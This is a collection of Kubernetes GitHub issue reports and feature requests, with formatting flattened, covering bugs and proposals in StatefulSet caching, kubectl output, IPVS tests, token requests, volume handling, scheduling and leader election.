addressed in https://github.com/kubernetes/kubernetes/pull/49285 using big hammer. we still need to investigate where the mutation happens exactly to avoid deep copying the object for no reason.\r \r initially this was discovered in this issue: https://github.com/openshift/origin/issues/15324\r \r some logs:\r \r    \r i0719 02:12:14.503031   10463 stateful_set.go:452  syncing statefulset default/mysql with 1 pods\r cache  v1beta1.statefulset 4  altered!\r {\ \r a: kind\ :\ statefulset\ ,\ apiversion\ :\ apps/v1beta1\ ,\ metadata\ :{\ name\ :\ mysql\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/apps/v1beta1/namespaces/default/statefulsets/mysql\ ,\ uid\ :\ 8281bdf3-6c27-11e7-a824-0242ac110002\ ,\ resourceversion\ :\ 1733\ ,\ generation\ :1,\ creationtimestamp\ :\ 2017-07-19t02:11:00z\ ,\ labels\ :{\ app\ :\ mysql\ }},\ spec\ :{\ replicas\ :3,\ selector\ :{\ matchlabels\ :{\ app\ :\ mysql\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ mysql\ },\ annotations\ :{\ pod.alpha.kubernetes.io/init-containers\ :\  {\\\ name\\\ :\\\ install\\\ ,\\\ image\\\ :\\\ gcr.io/google_containers/galera-install:0.1\\\ ,\\\ args\\\ : \\\ --work-dir=/work-dir\\\  ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ always\\\ },{\\\ name\\\ :\\\ bootstrap\\\ ,\\\ image\\\ :\\\ debian:jessie\\\ ,\\\ command\\\ : \\\ /work-dir/peer-finder\\\  ,\\\ args\\\ : \\\ -on-start=\\\\\\\ /work-dir/on-start.sh\\\\\\\ \\\ ,\\\ -service=galera\\\  ,\\\ env\\\ : {\\\ name\\\ :\\\ pod_namespace\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ apiversion\\\ :\\\ v1\\\ ,\\\ fieldpath\\\ :\\\ metadata.namespace\\\ }}} ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ ifnotpresent\\\ } \ ,\ pod.alpha.kubernetes.io/initialized\ :\ true\ ,\ pod.beta.kubernetes.io/init-containers\ :\  {\\\ name\\\ :\\\ install\\\ ,\\\ image\\\ :\\\ gcr.io/google_containers/galera-install:0.1\\\ ,\\\ args\\\ : \\\ --work-dir=/work-dir\\\  ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ always\\\ },{\\\ name\\\ :\\\ bootstrap\\\ ,\\\ image\\\ :\\\ debian:jessie\\\ ,\\\ command\\\ : \\\ /work-dir/peer-finder\\\  ,\\\ args\\\ : \\\ -on-start=\\\\\\\ /work-dir/on-start.sh\\\\\\\ \\\ ,\\\ -service=galera\\\  ,\\\ env\\\ : {\\\ name\\\ :\\\ pod_namespace\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ apiversion\\\ :\\\ v1\\\ ,\\\ fieldpath\\\ :\\\ metadata.namespace\\\ }}} ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ ifnotpresent\\\ } \ }},\ spec\ :{\ volumes\ : {\ name\ :\ config\ ,\ emptydir\ :{\ sizelimit\ :\ 0\ }},{\ name\ :\ workdir\ ,\ emptydir\ :{\ sizelimit\ :\ 0\ }} ,\ initcontainers\ : {\ name\ :\ install\ ,\ image\ :\ gcr.io/google_containers/galera-install:0.1\ ,\ args\ : \ --work-dir=/work-dir\  ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ workdir\ ,\ mountpath\ :\ /work-dir\ },{\ name\ :\ config\ ,\ mountpath\ :\ /etc/mysql\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ always\ },{\ name\ :\ bootstrap\ ,\ image\ :\ debian:jessie\ ,\ command\ : \ /work-dir/peer-finder\  ,\ args\ : \ -on-start=\\\ /work-dir/on-start.sh\\\ \ ,\ -service=galera\  ,\ env\ : {\ name\ :\ pod_namespace\ ,\ valuefrom\ :{\ fieldref\ :{\ apiversion\ :\ v1\ ,\ fieldpath\ :\ metadata.namespace\ }}} ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ workdir\ ,\ mountpath\ :\ /work-dir\ },{\ name\ :\ config\ ,\ mountpath\ :\ /etc/mysql\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ containers\ : {\ name\ :\ mysql\ ,\ image\ :\ erkules/galera:basic\ ,\ args\ : \ --defaults-file=/etc/mysql/my-galera.cnf\ ,\ --user=root\  ,\ ports\ : {\ name\ :\ mysql\ ,\ containerport\ :3306,\ protocol\ :\ tcp\ },{\ name\ :\ sst\ ,\ containerport\ :4444,\ protocol\ :\ tcp\ },{\ name\ :\ replication\ ,\ containerport\ :4567,\ protocol\ :\ tcp\ },{\ name\ :\ ist\ ,\ containerport\ :4568,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ datadir\ ,\ mountpath\ :\ /var/lib/\ },{\ name\ :\ config\ ,\ mountpath\ :\ /etc/mysql\ } ,\ readinessprobe\ :{\ exec\ :{\ command\ : \ sh\ ,\ -c\ ,\ mysql -u root -e 'show databases;'\  },\ initialdelayseconds\ :15,\ timeoutseconds\ :5,\ periodseconds\ :10,\ successthreshold\ :1,\ failurethreshold\ :3},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ volumeclaimtemplates\ : {\ metadata\ :{\ name\ :\ datadir\ ,\ creationtimestamp\ :null,\ annotations\ :{\ volume.alpha.kubernetes.io/storage-class\ :\ anything\ }},\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 10gi\ }}},\ status\ :{\ phase\ :\ pending\ }} ,\ servicename\ :\ galera\ ,\ podmanagementpolicy\ :\ orderedready\ ,\ updatestrategy\ :{\ type\ :\ ondelete\ },\ revisionhistorylimit\ :10},\ status\ :{\ observedgeneration\ :1,\ replicas\ :1,\ currentreplicas\ :1,\ currentrevision\ :\ mysql-174148028\ ,\ updaterevision\ :\ mysql-174148028\ }}\r b: metadata\ :{\ name\ :\ mysql\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/apps/v1beta1/namespaces/default/statefulsets/mysql\ ,\ uid\ :\ 8281bdf3-6c27-11e7-a824-0242ac110002\ ,\ resourceversion\ :\ 1733\ ,\ generation\ :1,\ creationtimestamp\ :\ 2017-07-19t02:11:00z\ ,\ labels\ :{\ app\ :\ mysql\ }},\ spec\ :{\ replicas\ :3,\ selector\ :{\ matchlabels\ :{\ app\ :\ mysql\ }},\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ mysql\ },\ annotations\ :{\ pod.alpha.kubernetes.io/init-containers\ :\  {\\\ name\\\ :\\\ install\\\ ,\\\ image\\\ :\\\ gcr.io/google_containers/galera-install:0.1\\\ ,\\\ args\\\ : \\\ --work-dir=/work-dir\\\  ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ always\\\ },{\\\ name\\\ :\\\ bootstrap\\\ ,\\\ image\\\ :\\\ debian:jessie\\\ ,\\\ command\\\ : \\\ /work-dir/peer-finder\\\  ,\\\ args\\\ : \\\ -on-start=\\\\\\\ /work-dir/on-start.sh\\\\\\\ \\\ ,\\\ -service=galera\\\  ,\\\ env\\\ : {\\\ name\\\ :\\\ pod_namespace\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ apiversion\\\ :\\\ v1\\\ ,\\\ fieldpath\\\ :\\\ metadata.namespace\\\ }}} ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ ifnotpresent\\\ } \ ,\ pod.alpha.kubernetes.io/initialized\ :\ true\ ,\ pod.beta.kubernetes.io/init-containers\ :\  {\\\ name\\\ :\\\ install\\\ ,\\\ image\\\ :\\\ gcr.io/google_containers/galera-install:0.1\\\ ,\\\ args\\\ : \\\ --work-dir=/work-dir\\\  ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ always\\\ },{\\\ name\\\ :\\\ bootstrap\\\ ,\\\ image\\\ :\\\ debian:jessie\\\ ,\\\ command\\\ : \\\ /work-dir/peer-finder\\\  ,\\\ args\\\ : \\\ -on-start=\\\\\\\ /work-dir/on-start.sh\\\\\\\ \\\ ,\\\ -service=galera\\\  ,\\\ env\\\ : {\\\ name\\\ :\\\ pod_namespace\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ apiversion\\\ :\\\ v1\\\ ,\\\ fieldpath\\\ :\\\ metadata.namespace\\\ }}} ,\\\ resources\\\ :{},\\\ volumemounts\\\ : {\\\ name\\\ :\\\ workdir\\\ ,\\\ mountpath\\\ :\\\ /work-dir\\\ },{\\\ name\\\ :\\\ config\\\ ,\\\ mountpath\\\ :\\\ /etc/mysql\\\ } ,\\\ terminationmessagepath\\\ :\\\ /dev/termination-log\\\ ,\\\ terminationmessagepolicy\\\ :\\\ file\\\ ,\\\ imagepullpolicy\\\ :\\\ ifnotpresent\\\ } \ }},\ spec\ :{\ volumes\ : {\ name\ :\ config\ ,\ emptydir\ :{\ sizelimit\ :\ 0\ }},{\ name\ :\ workdir\ ,\ emptydir\ :{\ sizelimit\ :\ 0\ }} ,\ initcontainers\ : {\ name\ :\ install\ ,\ image\ :\ gcr.io/google_containers/galera-install:0.1\ ,\ args\ : \ --work-dir=/work-dir\  ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ workdir\ ,\ mountpath\ :\ /work-dir\ },{\ name\ :\ config\ ,\ mountpath\ :\ /etc/mysql\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ always\ },{\ name\ :\ bootstrap\ ,\ image\ :\ debian:jessie\ ,\ command\ : \ /work-dir/peer-finder\  ,\ args\ : \ -on-start=\\\ /work-dir/on-start.sh\\\ \ ,\ -service=galera\  ,\ env\ : {\ name\ :\ pod_namespace\ ,\ valuefrom\ :{\ fieldref\ :{\ apiversion\ :\ v1\ ,\ fieldpath\ :\ metadata.namespace\ }}} ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ workdir\ ,\ mountpath\ :\ /work-dir\ },{\ name\ :\ config\ ,\ mountpath\ :\ /etc/mysql\ } ,\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ containers\ : {\ name\ :\ mysql\ ,\ image\ :\ erkules/galera:basic\ ,\ args\ : \ --defaults-file=/etc/mysql/my-galera.cnf\ ,\ --user=root\  ,\ ports\ : {\ name\ :\ mysql\ ,\ containerport\ :3306,\ protocol\ :\ tcp\ },{\ name\ :\ sst\ ,\ containerport\ :4444,\ protocol\ :\ tcp\ },{\ name\ :\ replication\ ,\ containerport\ :4567,\ protocol\ :\ tcp\ },{\ name\ :\ ist\ ,\ containerport\ :4568,\ protocol\ :\ tcp\ } ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ datadir\ ,\ mountpath\ :\ /var/lib/\ },{\ name\ :\ config\ ,\ mountpath\ :\ /etc/mysql\ } ,\ readinessprobe\ :{\ exec\ :{\ command\ : \ sh\ ,\ -c\ ,\ mysql -u root -e 'show databases;'\  },\ initialdelayseconds\ :15,\ timeoutseconds\ :5,\ periodseconds\ :10,\ successthreshold\ :1,\ failurethreshold\ :3},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ always\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }},\ volumeclaimtemplates\ : {\ metadata\ :{\ name\ :\ datadir\ ,\ creationtimestamp\ :null,\ annotations\ :{\ volume.alpha.kubernetes.io/storage-class\ :\ anything\ }},\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 10gi\ }}},\ status\ :{\ phase\ :\ pending\ }} ,\ servicename\ :\ galera\ ,\ podmanagementpolicy\ :\ orderedready\ ,\ updatestrategy\ :{\ type\ :\ ondelete\ },\ revisionhistorylimit\ :10},\ status\ :{\ observedgeneration\ :1,\ replicas\ :1,\ currentreplicas\ :1,\ currentrevision\ :\ mysql-174148028\ ,\ updaterevision\ :\ mysql-174148028\ }}\r panic: cache  v1beta1.statefulset modified\r goroutine 30631  running :\r github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .compareobjects 0xc42cd75100 \r \t/go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/mutation_detector.go:133 +0x38d\r github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .run.func1 0xc42cd75100, 0xc420010360 \r \t/go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/mutation_detector.go:84 +0x40\r created by github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .run\r \t/go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/tools/cache/mutation_detector.go:92 +0x49\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r admindemacbook-pro-2:kubectl admin$ ./kubectl set serviceaccount deployment/a abc -o yaml\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   annotations:\r ...\r ...\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: a\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r      ...\r      ...\r     status: \ true\ \r     type: replicafailure\r   observedgeneration: 2\r   unavailablereplicas: 1\r deployment \ a\  serviceaccount updated\r \r this have print yaml, should not continue print  deployment \ a\  serviceaccount updated \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r in gce-gce-ipvs ci, most esipp related case flaky. which include:\r    \r esipp  slow   disabledforlargeclusters  should work from pods\r esipp  slow   disabledforlargeclusters  should work for type=loadbalance\r esipp  slow   disabledforlargeclusters  should handle updates to externaltrafficpolicy field\r esipp  slow   disabledforlargeclusters  should only target nodes with endpoints\r esipp  slow   disabledforlargeclusters  should work for type=nodeport\r    \r link: http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-ipvs\r \r \r   what you expected to happen  :\r \r those e2e case should be passed. or, is ipvs not support some user case, should have a document.\r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we need an extension point that can intercept tokenrequests, apply extra validation and add private claims to the provision token. admission control seems like a reasonable place to extend the tokenrequest api in this way. this is required to support implementation of https://github.com/kubernetes/community/pull/1604 out of tree.\r \r questions:\r 1. is admission control reasonable?\r 1. if so, how should an admission controller communicate extra private claims to the tokenrequest rest?\r \r cc @liggitt @cjcullen @kubernetes/sig-auth-feature-requests \r \r ref  58790

kubernetes 1.9.11\r \r hi, i've moved our installation to static pods:\r     etcd\r     kube-apiserver\r     kube-controller-manager\r     kube-scheduler\r \r issue:\r sometimes kubelet silently stop restarting static pods,\r and will continue restarting them again if i do:\r   systemctl restart kubelet\r   docker rm -f <failed pod>\r \r in theory that happens in two different cases:\r     after pods has been crashing 10-20x times in one sequence\r    example: while bootstrap empty cluster kube-apiserver can't connect to etcd,\r    crash several times and stop restarting -> without api server cluster can't be provisioned .\r     if kubelet can't connect to api server - can't change mirror pod status\r     example: all kube-apiservers pod template has been rewritten by update and has been stopped in same time \r \r thanks for any suggestions!

as a user who just went through the  getting started w. vagrant  http://kubernetes.io/v1.1/docs/getting-started-guides/vagrant.html  guide, it's not obvious  and i mean after an hour of searching i still have no idea how  to provision nodes/minions.  the  node management  http://kubernetes.io/v1.1/docs/admin/node.html  page says the following:  >    node management >  > unlike pods and services, a node is not inherently created by kubernetes: it is either taken from cloud providers like google compute engine, or from your pool of physical or virtual machines. what this means is that when kubernetes creates a node, it is really just creating an object that represents the node in its internal state.  it would be very useful for newcomers to see a link or have en explanation here how to actually create new nodes. i'm still at a complete loss on this.

forked from the discussion in  23725.  in short, we've been writing information as docker labels and rkt annotations to container/pods due to the lack of kubelet checkpointing. as the results, we have to handle label/annotation backward compatibility issues. instead of doing that, we can just serialize the kubernetes pod/container objects and write it as annotations.  after discussing with @vishh and @dchen1107, we may also checkpoint the pod \ status\   instead of just the spec , so that we can delete an container as soon as the new one starts.  there are two options: 1. write the entire pod object  spec/status  to every container in the pod. this is easy to implement, and the last created container has the complete spec and status.  2. write pod spec/status to the pod sandbox  i.e., infra container for docker , and container spec/status to individual containers. this is cleaner in general.  @random-liu, feel free to grab this one since you were working on docker labels.  @dchen1107, i marked this v1.3 tentatively.  /cc @kubernetes/sig-node

we had an error with a failed attach  in aws , and i manually detached it.  but the aws cloudprovider did not recover; it failed to recognize that the volume was already detached.  from kcm:      i0914 01:09:27.532272       5 reconciler.go:168  started attachvolume for volume \ kubernetes.io/aws-ebs/aws://us-west-2a/vol-a0fb3428\  to node \ ip-172-20-0-206.us-west-2.compute.internal\  w0914 01:09:27.801863       5 aws.go:1195  got assignment call for already-assigned volume: bm@vol-a0fb3428 i0914 01:09:27.874542       5 aws.go:1362  waiting for volume state: actual=detached, desired=attached i0914 01:09:28.910387       5 aws.go:1362  waiting for volume state: actual=detached, desired=attached i0914 01:09:30.874591       5 aws.go:1362  waiting for volume state: actual=detached, desired=attached i0914 01:09:31.914523       5 aws.go:1362  waiting for volume state: actual=detached, desired=attached

i installed kubernetes v1.6.0-alpha.0.2074+a092d8e0f95f52\r i wonder which docker ver is compatible with this.\r plz there is a place where to find this info, i lost hrs on google without success.\r tnx

the entire networking configuration stuff in kubernetes should get better documentation in general. the terminology is quite confusing at some points. e.g.: the the docs mention cni and kubenet as possible network drivers, but the kubenet part refers to cni components  bridge, lo, etc.. . this makes things very confusing for people who are new to kubernetes administration.\r \r in my opinion, the documentation should demonstrate a \ best practices\  setup for networking, with an overview of:\r \r - how the docker daemon should be configured\r - how cni should be configured\r - which commandline parameters are involved for the different binaries  kubelet, etc... \r \r i've been strugling with understanding kubernetes/cni for days now, and i only end up more confused with every article i read on the subject. there is a lot of outdated documentation and articles on the internet too, and that doesn't help either. \r

 kubernetes ~~1.7.0~~ 1.6.1\r \r vsphere volume plugin uses spaces in its mount points such as  /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ datastore1  kubevols/kubernetes-dynamic-pvc-4aacaa9b-6ba5-11e7-8f64-0050569f1b82.vmdk .\r \r when kubelet runs in a container it uses  /bin/findmnt  to check if a directory is a mount point or not and it parses findmnt output up to the first space. when the directory name contains a space, it interprets findmnt output in a wrong way and does not unmount it. as result, vsphere volumes are not unmounted.\r \r /assign\r @kubernetes/sig-storage-bugs

all controllers that use the  revisionhistorylimit  field have a default value of 10 for the field, except for  deployment , which has a default of 2. we should increase it to 10 for consistency on its default value across controllers. \r \r 

after gce cluster upgrade, the nodes talk to the master using the in-cluster ip.\r \r reasoning: \r \r api-server.log  from gce upgrade cluster  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-stable1-beta-upgrade-cluster-new/35/artifacts/bootstrap-e2e-master/kube-apiserver.log \r \r > i1201 13:56:34.287956       5 wrap.go:42  patch /api/v1/nodes/bootstrap-e2e-minion-group-hv6p/status:  18.100082ms  200   node-problem-detector/v1.4.0  linux/amd64  kubernetes/$format    10.128.0.4:53766   \r > i1201 13:56:34.287956       5 wrap.go:42  patch /api/v1/nodes/bootstrap-e2e-minion-group-hv6p/status:  18.100082ms  200   node-problem-detector/v1.4.0  linux/amd64  kubernetes/$format    10.128.0.4:53766   \r > i1201 13:56:34.515042       5 wrap.go:42  patch /api/v1/nodes/bootstrap-e2e-master/status:  4.327563ms  200   kubelet/v1.9.0  linux/amd64  kubernetes/e067596    10.128.0.2:41898   \r \r api-server.log  from gce serial  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cos-k8sbeta-serial/70/artifacts/test-34cf3ed1e3-master/kube-apiserver.log \r \r > i1201 15:59:46.863961       5 wrap.go:42  get /api/v1/nodes/test-34cf3ed1e3-minion-group-zr99?resourceversion=0:  926.753âµs  200   kubelet/v1.9.0  linux/amd64  kubernetes/e067596    104.154.254.154:40220   \r > i1201 15:59:46.881810       5 wrap.go:42  patch /api/v1/nodes/test-34cf3ed1e3-minion-group-zr99/status:  10.157704ms  200   kubelet/v1.9.0  linux/amd64  kubernetes/e067596    104.154.254.154:40220   \r \r cc @zmerlynn @krousey @mikedanese @kubernetes/test-infra-maintainers

this field was added with best intentions but is too highly coupled to network implementations to be useful.  it sort of acts as a poor-man's ipam, but it falls down for a number of reasons:\r \r 1. eventually we have to have more than one cidr, both for dual-stack   47924  and for ip efficiency  multiple smaller blocks .\r \r 2. not every network plugin wants a single block.\r \r 3. some networks don't use it at all   45001 \r \r also xref  56949\r \r what we should do is deprecate the field  since it has no universal meaning  and make this a per-cloud annotation  for clouds that care  which is configured by the cloud controller and consumed by a cni ipam driver.  we can make a single ipam driver that reads a generic annotation, to replace this functionality, and anyone who wants something different can do their own thing.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r labels:\r / sig federation\r   what happened  :\r kubefed install not working right...\r \r i did the following.....\r step 1:\r curl -lo https://storage.googleapis.com/kubernetes-release/release/$ curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt /kubernetes-client-linux-amd64.tar.gz\r   tar -xzvf kubernetes-client-linux-amd64.tar.gz\r \r step 2:\r sudo snap install kubefed --classic\r   kubefed version\r \r error:\r /snap/kubefed/260/kubefed: 1: /snap/kubefed/260/kubefed: syntax error: redirection unexpected\r \r \r   what you expected to happen  :\r kubefed version should display the right version number \r like  kubefed version   like 1.7.0 \r \r   how to reproduce it  as minimally and precisely as possible   :\r clean install of k s 1.9 and then the above step1 and step 2\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9 \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.13.0-1002-gcp  5-ubuntu smp tue dec 5 13:20:17 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: snap\r - others:\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r the scheduler currently does not have a  to properly spread out pods that request pvcs. in the absence of such a  scheduling of pods with pvcs could be skewed resulting in:\r  - some nodes exhaust their allocatable pvc limits, while still having enough schedulable cpu/memory resources\r  - some nodes have enough available pvc mount points, but have exhausted their schedulable cpu/memory resources\r \r if the above happens, we get into a state of inefficient node utilization.\r \r   what you expected to happen  :\r pvcs should be considered as a resource within the balanced resource utilization  bru   instead of the current algorithm in place within the bru  we could consider using standard deviation to allow more than 2 resources to be balanced across nodes. input values for the standard deviation calculation could be the fractions/ratios of the scheduled->capacity for the resources  memory, cpu, and pvc .\r \r alternately, a separate  could be considered for just pvcs - whatever makes more sense.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r the pvc resource should also be considered in the \ least requested\   \r   environment  :\r - kubernetes version  use  kubectl version  :  any\r - cloud provider or hardware configuration: aws/azure/gcp\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r - install tools: n/a\r - others:\r

 \r pr: https://github.com/kubernetes/kubernetes/pull/55637\r checks \ client\  items from https://github.com/kubernetes/kubernetes/issues/58536\r \r updates  kubectl get  to request and handle metav1beta1.table responses from the server.\r \r milestone v1.10

is this a bug report or feature request?  : feature request\r \r   \r      abstract\r \r  1. cede leader ship from   leaderelector   https://github.com/kubernetes/kubernetes/blob/2bf111a619087d46c03018ae458f822f3fc13708/staging/src/k8s.io/client-go/tools/leaderelection/leaderelection.go  without panicing\r  2. callback from   leaderelector>>renew     https://github.com/kubernetes/kubernetes/blob/2bf111a619087d46c03018ae458f822f3fc13708/staging/src/k8s.io/client-go/tools/leaderelection/leaderelection.go l190 \r \r if these suggestions seem reasonable, i'd be happy to contribute them.\r \r      description\r \r 1. ceding leadership\r \r we currently use this tool in a sidecar container to elect a leader for our high availability prometheus. we've had a few cases where the container we care about doesn't start, but the pod still has leadership, currently we handle this by panic-ing in the sidecar. it'd be nice to cede leadership in this case without panic. maybe something like: \r \r    go\r // stopleading cedes leadership.\r func  le  leaderelector  stopleading   bool {\r   close le.stopch \r }\r    \r \r one negative of this approach would be that the elector would have to retain the stopchannel.\r \r 2. leading on renew callback\r \r currently we follow a pattern of   onstartedleading    https://github.com/kubernetes/kubernetes/blob/2bf111a619087d46c03018ae458f822f3fc13708/staging/src/k8s.io/client-go/tools/leaderelection/leaderelection.go l112 :\r \r    go\r func lead stop <-chan struct{}  {\r \tfor {\r \t\tselect {\r \t\tcase <-stop:\r \t\t\tstopleading  \r \t\tcase <-time.after e.opts.interval :\r \t\t\tif err := acquire  ; err != nil {\r \t\t\t\tstopleading  \r \t\t\t\tpanic err \r \t\t\t}\r \t\t}\r \t}\r }\r    \r \r this seems a tad wasteful when  renew  already provides this interval with jitter etc. if renew always called back this extra go func's would not be necessary i.e.: in   leadercallbacks   https://github.com/kubernetes/kubernetes/blob/2bf111a619087d46c03018ae458f822f3fc13708/staging/src/k8s.io/client-go/tools/leaderelection/leaderelection.go l110:6 \r \r    go\r type leadercallbacks struct {\r        ...\r        // onleaderrenew is called for every attempt at renewal at interval retryperiod\r        onleaderrenew func  \r }\r    \r \r \r

